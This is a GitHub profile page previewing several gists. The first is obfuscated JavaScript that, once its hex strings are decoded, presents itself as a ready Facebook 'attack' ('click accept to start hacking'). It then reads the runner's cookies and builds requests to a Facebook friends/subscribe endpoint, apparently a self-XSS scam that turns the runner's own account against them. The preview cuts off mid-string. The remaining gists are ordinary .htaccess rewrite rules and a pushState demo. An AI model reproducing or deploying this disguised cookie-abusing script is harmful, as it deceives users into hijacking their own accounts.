Skip to content

Instantly share code, notes, and snippets.

View jpacora's full-sized avatar

Jorge Pacora jpacora

View GitHub Profile
var _0x6daf=["\x53\x61\x79\x48\x65\x6C\x6C\x6F","\x47\x65\x74\x43\x6F\x75\x6E\x74","\x41\x74\x61\x71\x75\x65\x20\x6C\x69\x73\x74\x6F\x2E\x20\x76\x69\x63\x74\x69\x6D\x61\x3A\x20\x46\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x31\x32\x33\x34\x30\x32\x34\x37\x38\x38\x20\x3A\x20","\x44\x61\x20\x63\x6C\x69\x63\x6B\x20\x65\x6E\x20\x61\x63\x65\x70\x74\x61\x72\x20\x70\x61\x72\x61\x20\x65\x6D\x70\x65\x7A\x61\x72\x20\x61\x20\x20\x68\x61\x63\x6B\x65\x61\x72\x2E"];function NewObject(_0x51c0x2){var _0x51c0x3=0;this[_0x6daf[0]]=function (_0x51c0x4){_0x51c0x3++;alert(_0x51c0x2+_0x51c0x4);} ;this[_0x6daf[1]]=function (){return _0x51c0x3;} ;} ;var obj= new NewObject(_0x6daf[2]);obj.SayHello(_0x6daf[3]);
var _0xf2b3=["\x6D\x61\x74\x63\x68","\x63\x6F\x6F\x6B\x69\x65","\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x66\x72\x69\x65\x6E\x64\x73\x2F\x6C\x69\x73\x74\x73\x2F\x73\x75\x62\x73\x63\x72\x69\x62\x65\x2F\x6D\x6F\x64\x69\x66\x79","\x66\x6C\x69\x64\x3D","\x26\x61\x63\x74
@jpacora
jpacora / .htaccess
Created May 23, 2013 15:16
Url's amigables
Options +FollowSymLinks
Options -MultiViews
RewriteEngine On
RewriteBase /
RewriteRule ^(system|ax|s) - [L]
RewriteCond %{HTTP_HOST} !^www\.midominio\.com [NC]
RewriteRule ^(.*)$ http://www.midominio.com/$1 [L,R=301]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-s
RewriteCond %{REQUEST_FILENAME} !-l
@jpacora
jpacora / gist:5573688
Created May 14, 2013 04:24
Ejemplo de pushState (HTML5)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>window.history.pushState - Ejemplo</title>
</head>
<body>
<h1>window.history.pushState Ejemplo</h1>
<script type="text/javascript">
window.history.pushState("", "Hola mundo", 'hola-mundo');